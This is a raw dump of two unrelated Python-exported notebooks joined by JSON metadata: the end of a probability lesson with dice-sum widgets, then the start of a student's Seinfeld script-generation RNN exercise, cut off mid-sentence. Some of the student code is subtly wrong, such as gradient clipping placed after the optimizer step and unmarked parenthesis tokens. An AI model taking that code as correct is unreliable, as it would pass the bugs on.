probability that Bob will win?\n\nfrom ipywidgets import interact_manual,widgets\n\ns = {'description_width': 'initial'}        \n@interact(answer =widgets.Select(\n                    options=[\"Select option\",\"19/36\",\\\n                            \"17/36\",\"18/36\",\\\n                             \"1/2\"],\n                    value='Select option',\n                    description=\"Probability sum is odd\",\n                    disabled=False,\n                    style=s\n))\n\ndef fair_game(answer):\n    if answer==\"Select option\":\n        print(\"Click on the correct probability expressed as a fraction.\")\n    \n    elif answer==\"1/2\" or answer==\"18/36\":\n        print(\"Correct!\\nThere are a total of 36 possible outcomes. 18 out of 36 are odd numbers.\\nThus the P(odd) = 18/36 or 1/2. \")\n    elif answer != \"1/2\" or answer != \"Select Option\" or answer!=\"18/36\":\n        print(\"Hint: There are 36 entries in our sample space, each with equal likelihood of occurrence.\\nHow many of the 36 correspond to odd numbers?\")\n\nIn the section above we learned that the there are 18 out of 36 possible outcomes where the sum \n\n$$n_t + n_b$$\n\nis an even number. Thus\n\n$$P(even) = \\dfrac{18}{36} = \\dfrac{1}{2}$$\n\nSimilarly, there are 18 out of 36 possible outcomes where the sum\n\n$$n_t + n_b$$\n\nis an odd number. Thus\n\n$$P(odd) = \\dfrac{18}{36} = \\dfrac{1}{2}$$\n\nThen $P(odd) = P(even)$. With this we verify that indeed the experiment is fair. \n\n<h2 align='center'>Theoretical vs Experimental Probability</h2>\n\n\n\nWe begin by stating a few definitions. \n\n<div class=\"alert alert-warning\">\n    <font color=\"black\"><b>Definition.</b> The <i>Theoretical Probability</i> of an event $A$, denoted $P_T(A)$, is the ratio of the number of outcomes corresponding to this event to the number of possible outcomes. </font>\n</div>\n\n$$P_T(A) = \\dfrac{\\text{Total Number of Instances of event A in the Sample Space}}{\\text{Total Number of Possible Outcomes}}$$\n\nIf we take our fair experiment with two roulettes and sample space parity of outcome sum $\\lbrace \\text{even}, \\text{odd} \\rbrace$, the theoretical probability of an even event is\n\n$$P_T(\\text{even}) = \\dfrac{18}{36}$$\n\n<div class=\"alert alert-warning\">\n<font color=\"black\"><b>Definition.</b> The <i>Experimental Probability</i> of an event $A$, denoted $P_E(A)$, is computed over running the probability experiment a number of times and computing the observed ratio between the number of time the event occured  and the number of trials of the experiment. </font>\n</div>\n\n$$P_E(A) = \\dfrac{\\text{Number of Times Event A Actually Occurred}}{\\text{Number of trials}}$$\n\nIn order to determine $P_E(\\text{even})$, we first need to spin the roulettes a few times and compare.\n\nUse the widget below to simulate spinning the two roulettes. Use the slider to set a number of trials. In this interactive exercise, you can set number of trials as an integer between 1 and 100. Press `Run Interact` to run an experiment for the given number of trials.\n\nOn the right hand side you will find a printed message outlining the experimental probability of each event: Sum is Even and Sum is Odd from the number of trial specified using the widget. \n\nOn the left hand side you can find a graph comparing both. \n\nPress the `Run Interact` button several times. \n\n%matplotlib inline\n\ndef die(number):\n    count_A,count_C = 0,0\n    \n    for i in range(number):\n        lucky_number_one = random.choice([1,2,3,4,5,6])\n        lucky_number_two = random.choice([1,2,3,4,5,6])\n        if lucky_number_one - lucky_number_two >=0:\n            count_A +=1\n        else:\n            count_C +=1\n            \n    return [count_A,count_C]\n\ndef even_sum(number):\n    count_A,count_C = 0,0\n    \n    for i in range(number):\n        lucky_number_one = random.choice([1,2,3,4,5,6])\n        lucky_number_two = random.choice([1,2,3,4,5,6])\n        \n        sum_n = lucky_number_one + lucky_number_two\n        if  sum_n%2 == 0:\n            count_A +=1\n        else:\n            count_C +=1\n            \n    return [count_A,count_C]\n\ndef experimental_prob(number):\n    [varoi_1,varoi_2] = even_sum(number)\n    fig,(ax1,ax2,ax3) = plt.subplots(1,3,sharey=True,figsize=(15,4))\n\n    ax2.axis(\"Off\")\n    ax3.axis(\"Off\")\n    axalpha = 0.05\n    \n    even = varoi_1/number\n    odd = varoi_2/number\n    \n    labels = ['', '',  'Even Sum', '','Odd Sum']\n\n    ax1 = plt.subplot(131,facecolor=\"white\")\n    ax1.set_title(\"Experimental Probability\",fontsize=20)\n    ax1.set_ylabel(\"Probability\",fontsize=15)\n    ax1.set_xlabel(\"Outcomes\",fontsize=15)\n    ax1.set_xlim([0,3])\n\n    ax1.set_xticklabels(labels)\n\n    x = np.arange(1,3)\n    f1,f2= ax1.bar(x,[even,odd])\n    f1.set_facecolor(\"#8642f4\")\n    f2.set_facecolor(\"#518900\")\n\n    ax1.grid(which='both')\n    ax1.grid(b=True,which='minor',alpha=0.2,linestyle='--',color='black')\n    ax1.grid(which='major', alpha=0.2,linestyle='--',color='black')\n    \n    ax3 = plt.subplot(132)\n    ax3.axis(\"Off\")\n    \n    #ax3.set_title( \"Positive vs Negative\\nLuck Roulette: Outcome\",fontsize=20)\n    rec1 = Rectangle((0.1,0.8),0.3,0.1,facecolor=\"#8642f4\")\n    ax3.add_patch(rec1)\n    ax3.text(0.5,0.83,\"Experimental Probability: Sum is Even\",fontsize=20)\n    rec2 = Rectangle((0.1,0.7),0.3,0.1,facecolor=\"#518900\")\n    ax3.add_patch(rec2)\n    ax3.text(0.5,0.73,\"Experimental Probability: Sum is Odd\",fontsize=20)\n\n    ax2 = plt.subplot(133,facecolor=\"white\")\n    ax2.axis(\"Off\")\n\n    ax2.text(0.9,0.83,str(varoi_1) + \"/\" + str(number),fontsize=20)\n    ax2.text(0.9,0.73,str(varoi_2) + \"/\" + str(number),fontsize=20)\n    \n    ax3.set_title(\"                   Even or Odd Sum Experiment:\\n\",fontsize=20)\n    \n    plt.show()\n    \ndef run_fair_exp(number):\n    experimental_prob(number)\n    #experimental_prob(number,\"Negative\")\ninteract_manual(experimental_prob,number=widgets.IntSlider(\n            value=10,\n            min=1,\n            max=100,\n            step=1,\n            description='Total Number of Trials',\n            disabled=False,\n            continuous_update=False,\n            orientation='horizontal',\n            readout=True,\n            readout_format='d',\n            style =style\n));\n\n### Question 7\n\nUse the box below to enter your observations. \n\nHow do the experimental probabilities of each event change as you increase the number of trials?\n\nfrom ipywidgets import widgets as w\nfrom ipywidgets import Button, Layout\nfrom IPython.display import display, Javascript, Markdown\n\ndef rerun_cell( b ):    \n    display(Javascript('IPython.notebook.execute_cell_range(IPython.notebook.get_selected_index()+1,IPython.notebook.get_selected_index()+2)'))   \n\nstyle = {'description_width': 'initial'}\n\nquestion7_text = w.Textarea( value='', placeholder='Write your answer here. Press Record Answer when you finish.', description='', disabled=False , layout=Layout(width='100%', height='75px') )\nquestion7_button = w.Button(button_style='info',description=\"Record Answer\", layout=Layout(width='15%', height='30px'))\n\ndisplay(question7_text)\ndisplay(question7_button)\n\nquestion7_button.on_click( rerun_cell ) \n\nquestion7_input = question7_text.value\n\nif(question7_input != ''):\n    question7_text.close()\n    question7_button.close()\n    display(Markdown(\"### Your answer for Question 7: Conclusions\"))\n    display(Markdown(question7_input))\n\n**Remarks**\n\nWe observe that every time we press the `Run Interact` button on the interactive above, the experimental probability of each event varies. However, it seems like as we increase the number of trials, the experimental probabilities of each event approach $1/2$. \n\nLet us explore what happens if we increase the number of trials to, say 10,000. \n\nIn the widget below you can find a slider that allows you to control the number of trials. In this interactive exercise, you can set number of trials as an integer between 1 and 10,000. \n\nOn the left hand side you can find a plot like the one we explored above. On the right hand side you can find the theoretical probability of events Sum is Even and Sum is Odd. \n\nPress the `Run Interact` button. Increase the Total Number of Trials and press the `Run Interact` button multiple times. \n\ndef toss(number):\n    store_head = []\n    store_tail = []\n    other = []\n    for i in range(number):\n        toss_coin= random.choice(np.arange(2))\n        \n        if toss_coin==0:\n            store_head.append(toss_coin)\n        elif toss_coin==1:\n            store_tail.append(toss_coin)\n        \n    return [store_head,store_tail]\n\ndef plot_coin_experiment(number):\n    varoi = toss(number)\n    fig,ax = plt.subplots(figsize=(5,5))\n\n    ax.set_title(\"Distribution of Experimental Coin Flipping\",fontsize=35)\n    plt.ylabel(\"Frequency\",fontsize=25)\n    plt.xlabel(\"Heads or Tails\",fontsize=25)\n    plt.xticks(np.arange(2), ('Total Number of Heads', 'Total Number of Tails'))\n    plt.hist(varoi[0])\n    plt.hist(varoi[1])\n    plt.grid(which='both')\n    plt.grid(b=True,which='minor',alpha=0.2,linestyle='--',color='black')\n    plt.grid(which='major', alpha=0.2,linestyle='--',color='black')\n\ndef plot_die_experiment(number):\n    varoi = die(number)\n    theor_A = 21/36\n    theor_C = 15/36\n    #print(theor)\n    fig,(ax1,ax2) = plt.subplots(1,2,sharey=True,figsize=(15,8))\n    \n    # Experimental Probability\n    ax1.set_title(\"Experimental Distribution\",fontsize=25)\n    ax1.set_ylabel(\"Frequency\",fontsize=25)\n    ax1.set_xlabel(\"Outcomes\",fontsize=25)\n    ax1.set_xlim([0,3])\n\n    ax1.set_xticks([])\n\n    x = np.arange(1,3)\n    dice = [varoi[0]/number,varoi[1]/number]\n    f1,f2 = ax1.bar(x,dice)\n    f1.set_facecolor(\"#8642f4\")\n    f2.set_facecolor(\"#518900\")\n    ax1.grid(which='both')\n    ax1.grid(b=True,which='minor',alpha=0.2,linestyle='--',color='black')\n    ax1.grid(which='major', alpha=0.2,linestyle='--',color='black')\n    \n    # Theoretical Probability\n    ax2.set_title(\"Theoretical Distribution\",fontsize=25)\n    ax2.set_ylabel(\"Frequency\",fontsize=25)\n    ax2.set_xlabel(\"Outcomes\",fontsize=25)\n    x = np.arange(1,3)\n    dice_exp = [theor_A,theor_C]\n    f11,f21 = ax2.bar(x,dice_exp)\n    f11.set_facecolor(\"#8642f4\")\n    f21.set_facecolor(\"#518900\")\n\n    ax2.set_xlim([0,3])\n    \n    ax2.set_xticks([\"Even\",\"Odd\"])\n    \n    ax2.grid(which='both')\n    ax2.grid(b=True,which='minor',alpha=0.2,linestyle='--',color='black')\n    ax2.grid(b=True,which='major', alpha=0.2,linestyle='--',color='black')\n\n    plt.ylim(0,number)\n    \n    plt.show()\n    \ndef plot_fair_experiment(number):\n    [varoi_1,varoi_2] = even_sum(number)\n    theor_A = 18/36\n    theor_C = 18/36\n    \n    even = varoi_1/number\n    odd= varoi_2/number\n    x = np.arange(1,3)\n    \n    labels = ['', '',  'Even Sum', '','Odd Sum']\n    \n    fig,(ax1,ax2) = plt.subplots(1,2,sharey=True,figsize=(15,8))\n    \n    # Experimental Probability\n    ax1.set_title(\"Even or Odd Sum Probability Experiment:\\nExperimental Probability\",fontsize=20)\n    ax1.set_ylabel(\"Probability\",fontsize=25)\n    ax1.set_xlabel(\"Events\",fontsize=25)\n    ax1.set_xlim([0,3])\n    ax1.set_xticklabels(labels)\n    ax1.grid(which='major', alpha=0.2,linestyle='--',color='black')\n    \n    f1,f2 = ax1.bar(x,[even,odd])\n    f1.set_facecolor(\"#8642f4\")\n    f2.set_facecolor(\"#518900\")\n    \n    # Theoretical Probability\n    ax2.set_title(\"Even or Odd Sum Probability Experiment:\\nTheoretical Probability\",fontsize=20)\n    ax2.set_ylabel(\"Probability\",fontsize=25)\n    ax2.set_xlabel(\"Events\",fontsize=25)\n    ax2.set_xlim([0,3])\n    ax2.set_xticklabels(labels)\n    ax2.grid(b=True,which='major', alpha=0.2,linestyle='--',color='black')\n    \n    dice_exp = [theor_A,theor_C]\n    f11,f21 = ax2.bar(x,dice_exp)\n    f11.set_facecolor(\"#8642f4\")\n    f21.set_facecolor(\"#518900\")\n    \n    plt.ylim(0,1)\n    plt.show()\n\ninteract_manual(plot_fair_experiment,number=widgets.IntSlider(\n            value=5,\n            min=1,\n            max=10000,\n            step=1,\n            description='Total Number of Trials',\n            disabled=False,\n            continuous_update=False,\n            orientation='horizontal',\n            readout=True,\n            readout_format='d',\n            style =style\n));\n\n### Question 8\n\nHow does the experimental probability of each event change as we increase the number of trials? Use the textbox below to record your answers. \n\nfrom ipywidgets import widgets as w\nfrom ipywidgets import Button, Layout\nfrom IPython.display import display, Javascript, Markdown\n\ndef rerun_cell( b ):\n    \n    display(Javascript('IPython.notebook.execute_cell_range(IPython.notebook.get_selected_index()+1,IPython.notebook.get_selected_index()+2)'))   \nstyle = {'description_width': 'initial'}\n\n\nquestion8_text = w.Textarea( value='', placeholder='Write your answer here. Press Record Answer when you finish.', description='', disabled=False , layout=Layout(width='100%', height='75px') )\nquestion8_button = w.Button(button_style='info',description=\"Record Answer\", layout=Layout(width='15%', height='30px'))\n\ndisplay(question8_text)\ndisplay(question8_button)\n\nquestion8_button.on_click( rerun_cell ) \n\nquestion8_input = question8_text.value\n\nif(question8_input != ''):\n    \n    question8_text.close()\n    question8_button.close()\n    display(Markdown(\"### Your answer for Question 8: Conclusions\"))\n    display(Markdown(question8_input))\n\nAs the number of trials increases, we observe that the experimental probability of each event approaches the corresponding theoretical probability. This is known as the \"Law of Large Numbers\".\n\n<h2 align='center'>Conclusion</h2>\n\nIn this notebook we learned what a probability experiment is, what the sample space, events and outcome associated to a given probability experiment are. We learned how to express probabilities as ratios, fractions and percents. \n\nWe learned what independent probability events are and introduced the concept of a fair game. \n\nWe learned what theoretical and experimental probability are and with the help of an interactive exercise, we learned that as the number of trials increases, experimental probability approaches theoretical probability. \n\n[![Callysto.ca License](https://github.com/callysto/curriculum-notebooks/blob/master/callysto-notebook-banner-bottom.jpg?raw=true)](https://github.com/callysto/curriculum-notebooks/blob/master/LICENSE.md)", "meta": {"hexsha": "0021580bc637d63a2188af2ebad94a8559153295", "size": 60645, "ext": "py", "lang": "Python", "max_stars_repo_path": "_build/jupyter_execute/curriculum-notebooks/Mathematics/ProbabilityExperiment/probability-experiment.py", "max_stars_repo_name": "BryceHaley/curriculum-jbook", "max_stars_repo_head_hexsha": "d1246799ddfe62b0cf5c389394a18c2904383437", "max_stars_repo_licenses": ["CC-BY-4.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-03-18T18:19:40.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-18T18:19:40.000Z", "max_issues_repo_path": "_build/jupyter_execute/curriculum-notebooks/Mathematics/ProbabilityExperiment/probability-experiment.py", "max_issues_repo_name": "callysto/curriculum-jbook", "max_issues_repo_head_hexsha": "ffb685901e266b0ae91d1250bf63e05a87c456d9", "max_issues_repo_licenses": ["CC-BY-4.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "_build/jupyter_execute/curriculum-notebooks/Mathematics/ProbabilityExperiment/probability-experiment.py", "max_forks_repo_name": "callysto/curriculum-jbook", "max_forks_repo_head_hexsha": "ffb685901e266b0ae91d1250bf63e05a87c456d9", "max_forks_repo_licenses": ["CC-BY-4.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 41.6231983528, "max_line_length": 615, "alphanum_fraction": 0.622079314, "include": true, "reason": "import numpy", "num_tokens": 16592, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3812195803163617, "lm_q2_score": 0.1732882016598637, "lm_q1q2_score": 0.0660608555105503}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # TV Script Generation\n# \n# In this project, you'll generate your own [Seinfeld](https://en.wikipedia.org/wiki/Seinfeld) TV scripts using RNNs.  You'll be using part of the [Seinfeld dataset](https://www.kaggle.com/thec03u5/seinfeld-chronicles#scripts.csv) of scripts from 9 seasons.  The Neural Network you'll build will generate a new ,\"fake\" TV script, based on patterns it recognizes in this training data.\n# \n# ## Get the Data\n# \n# The data is already provided for you in `./data/Seinfeld_Scripts.txt` and you're encouraged to open that file and look at the text. \n# >* As a first step, we'll load in this data and look at some samples. \n# * Then, you'll be tasked with defining and training an RNN to generate a new script!\n\n# In[1]:\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL\n\"\"\"\n# load in data\nimport helper\ndata_dir = './data/Seinfeld_Scripts.txt'\ntext = helper.load_data(data_dir)\n\n\n# ## Explore the Data\n# Play around with `view_line_range` to view different parts of the data. This will give you a sense of the data you'll be working with. You can see, for example, that it is all lowercase text, and each new line of dialogue is separated by a newline character `\\n`.\n\n# In[2]:\n\n\nview_line_range = (0, 10)\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\nimport numpy as np\n\nprint('Dataset Stats')\nprint('Roughly the number of unique words: {}'.format(len({word: None for word in text.split()})))\n\nlines = text.split('\\n')\nprint('Number of lines: {}'.format(len(lines)))\nword_count_line = [len(line.split()) for line in lines]\nprint('Average number of words in each line: {}'.format(np.average(word_count_line)))\n\nprint()\nprint('The lines {} to {}:'.format(*view_line_range))\nprint('\\n'.join(text.split('\\n')[view_line_range[0]:view_line_range[1]]))\n\n\n# ---\n# ## Implement Pre-processing Functions\n# The first thing to do to any dataset is pre-processing.  Implement the following pre-processing functions below:\n# - Lookup Table\n# - Tokenize Punctuation\n# \n# ### Lookup Table\n# To create a word embedding, you first need to transform the words to ids.  In this function, create two dictionaries:\n# - Dictionary to go from the words to an id, we'll call `vocab_to_int`\n# - Dictionary to go from the id to word, we'll call `int_to_vocab`\n# \n# Return these dictionaries in the following **tuple** `(vocab_to_int, int_to_vocab)`\n\n# In[11]:\n\n\nimport problem_unittests as tests\nfrom collections import Counter\ndef create_lookup_tables(text):\n    \"\"\"\n    Create lookup tables for vocabulary\n    :param text: The text of tv scripts split into words\n    :return: A tuple of dicts (vocab_to_int, int_to_vocab)\n    \"\"\"\n    # TODO: Implement Function\n    c=Counter(text)\n    vocabs=sorted(c, key=c.get, reverse=True)\n    vocab_to_int={vocab: ii for ii, vocab in enumerate(vocabs)}\n    int_to_vocab={ii:vocab for vocab, ii in vocab_to_int.items() }\n    # return tuple\n    return (vocab_to_int, int_to_vocab)\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\ntests.test_create_lookup_tables(create_lookup_tables)\n\n\n# ### Tokenize Punctuation\n# We'll be splitting the script into a word array using spaces as delimiters.  However, punctuations like periods and exclamation marks can create multiple ids for the same word. For example, \"bye\" and \"bye!\" would generate two different word ids.\n# \n# Implement the function `token_lookup` to return a dict that will be used to tokenize symbols like \"!\" into \"||Exclamation_Mark||\".  Create a dictionary for the following symbols where the symbol is the key and value is the token:\n# - Period ( **.** )\n# - Comma ( **,** )\n# - Quotation Mark ( **\"** )\n# - Semicolon ( **;** )\n# - Exclamation mark ( **!** )\n# - Question mark ( **?** )\n# - Left Parentheses ( **(** )\n# - Right Parentheses ( **)** )\n# - Dash ( **-** )\n# - Return ( **\\n** )\n# \n# This dictionary will be used to tokenize the symbols and add the delimiter (space) around it.  This separates each symbols as its own word, making it easier for the neural network to predict the next word. Make sure you don't use a value that could be confused as a word; for example, instead of using the value \"dash\", try using something like \"||dash||\".\n\n# In[12]:\n\n\ndef token_lookup():\n    \"\"\"\n    Generate a dict to turn punctuation into a token.\n    :return: Tokenized dictionary where the key is the punctuation and the value is the token\n    \"\"\"\n    # TODO: Implement Function\n    token={'.': \"||Period||\",',':\"||Comma||\",'\"':'||Quotation_Mark||',';':\"||Semicolon||\",\n            '!': \"||Exclamation_mark||\",'?': \"||Question_mark||\",'(':\"Left_Parentheses\",\n          ')':\"Right_Parentheses\",\"-\":\"||Dash||\",'\\n':\"||Return||\"\n          }   \n    return token\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\ntests.test_tokenize(token_lookup)\n\n\n# ## Pre-process all the data and save it\n# \n# Running the code cell below will pre-process all the data and save it to file. You're encouraged to look at the code for `preprocess_and_save_data` in the `helpers.py` file to see what it's doing in detail, but you do not need to change this code.\n\n# In[13]:\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL\n\"\"\"\n# pre-process training data\nhelper.preprocess_and_save_data(data_dir, token_lookup, create_lookup_tables)\n\n\n# # Check Point\n# This is your first checkpoint. If you ever decide to come back to this notebook or have to restart the notebook, you can start from here. The preprocessed data has been saved to disk.\n\n# In[9]:\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL\n\"\"\"\nimport helper\nimport numpy as np\nimport problem_unittests as tests\n\nint_text, vocab_to_int, int_to_vocab, token_dict = helper.load_preprocess()\n\n\n# ## Build the Neural Network\n# In this section, you'll build the components necessary to build an RNN by implementing the RNN Module and forward and backpropagation functions.\n# \n# ### Check Access to GPU\n\n# In[10]:\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL\n\"\"\"\nimport torch\n\n# Check for a GPU\ntrain_on_gpu = torch.cuda.is_available()\nif not train_on_gpu:\n    print('No GPU found. Please use a GPU to train your neural network.')\n\n\n# ## Input\n# Let's start with the preprocessed input data. We'll use [TensorDataset](http://pytorch.org/docs/master/data.html#torch.utils.data.TensorDataset) to provide a known format to our dataset; in combination with [DataLoader](http://pytorch.org/docs/master/data.html#torch.utils.data.DataLoader), it will handle batching, shuffling, and other dataset iteration functions.\n# \n# You can create data with TensorDataset by passing in feature and target tensors. Then create a DataLoader as usual.\n# ```\n# data = TensorDataset(feature_tensors, target_tensors)\n# data_loader = torch.utils.data.DataLoader(data, \n#                                           batch_size=batch_size)\n# ```\n# \n# ### Batching\n# Implement the `batch_data` function to batch `words` data into chunks of size `batch_size` using the `TensorDataset` and `DataLoader` classes.\n# \n# >You can batch words using the DataLoader, but it will be up to you to create `feature_tensors` and `target_tensors` of the correct size and content for a given `sequence_length`.\n# \n# For example, say we have these as input:\n# ```\n# words = [1, 2, 3, 4, 5, 6, 7]\n# sequence_length = 4\n# ```\n# \n# Your first `feature_tensor` should contain the values:\n# ```\n# [1, 2, 3, 4]\n# ```\n# And the corresponding `target_tensor` should just be the next \"word\"/tokenized word value:\n# ```\n# 5\n# ```\n# This should continue with the second `feature_tensor`, `target_tensor` being:\n# ```\n# [2, 3, 4, 5]  # features\n# 6             # target\n# ```\n\n# In[53]:\n\n\nfrom torch.utils.data import TensorDataset, DataLoader\n\n\ndef batch_data(words, sequence_length, batch_size):\n    \"\"\"\n    Batch the neural network data using DataLoader\n    :param words: The word ids of the TV scripts\n    :param sequence_length: The sequence length of each batch\n    :param batch_size: The size of each batch; the number of sequences in a batch\n    :return: DataLoader with batched data\n    \"\"\"\n    # TODO: Implement function\n    seq_batch=sequence_length*batch_size\n    nbatch=len(words)//(seq_batch)\n    words=words[:(seq_batch*nbatch)]\n    inputs,target=[],[]\n    for ii in range(len(words)-sequence_length):\n#         print(words_looped[ii,ii+sequence_length])\n        inputs.append(words[ii:(ii+sequence_length)])\n        target.append(words[ii+sequence_length])\n#         print(ii,inputs)\n    data=TensorDataset(torch.tensor(inputs,dtype=torch.long), torch.tensor(target, dtype=torch.long))\n    dataloader=DataLoader(data, batch_size=batch_size)\n    # return a dataloader\n    return dataloader\n\n# there is no test for this function, but you are encouraged to create\n# print statements and tests of your own\n\n\n# ### Test your dataloader \n# \n# You'll have to modify this code to test a batching function, but it should look fairly similar.\n# \n# Below, we're generating some test text data and defining a dataloader using the function you defined, above. Then, we are getting some sample batch of inputs `sample_x` and targets `sample_y` from our dataloader.\n# \n# Your code should return something like the following (likely in a different order, if you shuffled your data):\n# \n# ```\n# torch.Size([10, 5])\n# tensor([[ 28,  29,  30,  31,  32],\n#         [ 21,  22,  23,  24,  25],\n#         [ 17,  18,  19,  20,  21],\n#         [ 34,  35,  36,  37,  38],\n#         [ 11,  12,  13,  14,  15],\n#         [ 23,  24,  25,  26,  27],\n#         [  6,   7,   8,   9,  10],\n#         [ 38,  39,  40,  41,  42],\n#         [ 25,  26,  27,  28,  29],\n#         [  7,   8,   9,  10,  11]])\n# \n# torch.Size([10])\n# tensor([ 33,  26,  22,  39,  16,  28,  11,  43,  30,  12])\n# ```\n# \n# ### Sizes\n# Your sample_x should be of size `(batch_size, sequence_length)` or (10, 5) in this case and sample_y should just have one dimension: batch_size (10). \n# \n# ### Values\n# \n# You should also notice that the targets, sample_y, are the *next* value in the ordered test_text data. So, for an input sequence `[ 28,  29,  30,  31,  32]` that ends with the value `32`, the corresponding output should be `33`.\n\n# In[57]:\n\n\n# test dataloader\n\ntest_text = list(range(50))\nt_loader = batch_data(test_text, sequence_length=5, batch_size=10)\n\ndata_iter = iter(t_loader)\nsample_x, sample_y = data_iter.next()\n\nprint(sample_x.shape)\nprint(sample_x)\nprint()\nprint(sample_y.shape)\nprint(sample_y)\n\n\n# ---\n# ## Build the Neural Network\n# Implement an RNN using PyTorch's [Module class](http://pytorch.org/docs/master/nn.html#torch.nn.Module). You may choose to use a GRU or an LSTM. To complete the RNN, you'll have to implement the following functions for the class:\n#  - `__init__` - The initialize function. \n#  - `init_hidden` - The initialization function for an LSTM/GRU hidden state\n#  - `forward` - Forward propagation function.\n#  \n# The initialize function should create the layers of the neural network and save them to the class. The forward propagation function will use these layers to run forward propagation and generate an output and a hidden state.\n# \n# **The output of this model should be the *last* batch of word scores** after a complete sequence has been processed. That is, for each input sequence of words, we only want to output the word scores for a single, most likely, next word.\n# \n# ### Hints\n# \n# 1. Make sure to stack the outputs of the lstm to pass to your fully-connected layer, you can do this with `lstm_output = lstm_output.contiguous().view(-1, self.hidden_dim)`\n# 2. You can get the last batch of word scores by shaping the output of the final, fully-connected layer like so:\n# \n# ```\n# # reshape into (batch_size, seq_length, output_size)\n# output = output.view(batch_size, -1, self.output_size)\n# # get last batch\n# out = output[:, -1]\n# ```\n\n# In[123]:\n\n\nimport torch.nn as nn\n\nclass RNN(nn.Module):\n    \n    def __init__(self, vocab_size, output_size, embedding_dim, hidden_dim, n_layers, dropout=0.5):\n        \"\"\"\n        Initialize the PyTorch RNN Module\n        :param vocab_size: The number of input dimensions of the neural network (the size of the vocabulary)\n        :param output_size: The number of output dimensions of the neural network\n        :param embedding_dim: The size of embeddings, should you choose to use them        \n        :param hidden_dim: The size of the hidden layer outputs\n        :param dropout: dropout to add in between LSTM/GRU layers\n        \"\"\"\n        super(RNN, self).__init__()\n        # TODO: Implement function\n        # set class variables\n        self.output_size = output_size\n        self.n_layers = n_layers\n        self.hidden_dim = hidden_dim\n        \n        # define model layers\n        self.embed=nn.Embedding(vocab_size, embedding_dim)\n        self.lstm=nn.LSTM(embedding_dim, hidden_dim, n_layers,dropout=dropout,batch_first=True)\n    \n        self.dropout=nn.Dropout(dropout)\n        self.fc=nn.Linear(hidden_dim, output_size)\n\n        self.sig = nn.Sigmoid()\n    \n    \n    def forward(self, nn_input, hidden):\n        \"\"\"\n        Forward propagation of the neural network\n        :param nn_input: The input to the neural network\n        :param hidden: The hidden state        \n        :return: Two Tensors, the output of the neural network and the latest hidden state\n        \"\"\"\n        # TODO: Implement function \n        batch_size= nn_input.size(0)\n        embed=self.embed(nn_input)\n        lstm_output, hidden=self.lstm(embed,hidden)\n#         print(lstm_output.shape)\n#         lstm_output=lstm_output[:,-1,:]\n        lstm_output = lstm_output.contiguous().view(-1, self.hidden_dim)\n#         lstm_output=self.dropout(lstm_output)\n        fc_out=self.fc(lstm_output)\n        fc_out = fc_out.view(batch_size, -1, self.output_size)\n#         sig_out=self.sig(fc_out)\n        out = fc_out[:, -1]\n        # return one batch of output word scores and the hidden state\n        return out, hidden\n    \n    \n    def init_hidden(self, batch_size):\n        '''\n        Initialize the hidden state of an LSTM/GRU\n        :param batch_size: The batch_size of the hidden state\n        :return: hidden state of dims (n_layers, batch_size, hidden_dim)\n        '''\n        # Implement function\n        weight =next(self.parameters())\n        if (train_on_gpu):\n            hidden = (weight.new(self.n_layers, batch_size, self.hidden_dim).zero_().cuda(),\n                  weight.new(self.n_layers, batch_size, self.hidden_dim).zero_().cuda())\n        else:\n            hidden = (weight.new(self.n_layers, batch_size, self.hidden_dim).zero_(),\n                      weight.new(self.n_layers, batch_size, self.hidden_dim).zero_())\n        \n        return hidden\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\ntests.test_rnn(RNN, train_on_gpu)\n\n\n# ### Define forward and backpropagation\n# \n# Use the RNN class you implemented to apply forward and back propagation. This function will be called, iteratively, in the training loop as follows:\n# ```\n# loss = forward_back_prop(decoder, decoder_optimizer, criterion, inp, target)\n# ```\n# \n# And it should return the average loss over a batch and the hidden state returned by a call to `RNN(inp, hidden)`. Recall that you can get this loss by computing it, as usual, and calling `loss.item()`.\n# \n# **If a GPU is available, you should move your data to that GPU device, here.**\n\n# In[124]:\n\n\ndef forward_back_prop(rnn, optimizer, criterion, inp, target, hidden):\n    \"\"\"\n    Forward and backward propagation on the neural network\n    :param rnn: The PyTorch Module that holds the neural network\n    :param optimizer: The PyTorch optimizer for the neural network\n    :param criterion: The PyTorch loss function\n    :param inp: A batch of input to the neural network\n    :param target: The target output for the batch of input\n    :return: The loss and the latest hidden state Tensor\n    \"\"\"\n\n    # TODO: Implement Function\n    # move data to GPU, if available\n    if train_on_gpu:\n        inp, target=inp.cuda(),target.cuda()\n        rnn.cuda()\n    \n    h = tuple([each.data for each in hidden])\n    rnn.zero_grad()\n\n#     hidden = tuple([each.data for each in hidden])\n    out,hidden = rnn(inp,h)\n    loss=criterion(out,target)\n    \n    # perform backpropagation and optimization\n    loss.backward()\n    optimizer.step()\n    nn.utils.clip_grad_norm_(rnn.parameters(), 5)\n    # return the loss over a batch and the hidden state produced by our model\n    return loss.item(), hidden\n\n# Note that these tests aren't completely extensive.\n# they are here to act as general checks on the expected outputs of your functions\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\ntests.test_forward_back_prop(RNN, forward_back_prop, train_on_gpu)\n\n\n# ## Neural Network Training\n# \n# With the structure of the network complete and data ready to be fed in the neural network, it's time to train it.\n# \n# ### Train Loop\n# \n# The training loop is implemented for you in the `train_decoder` function. This function will train the network over all the batches for the number of epochs given. The model progress will be shown every number of batches. This number is set with the `show_every_n_batches` parameter. You'll set this parameter along 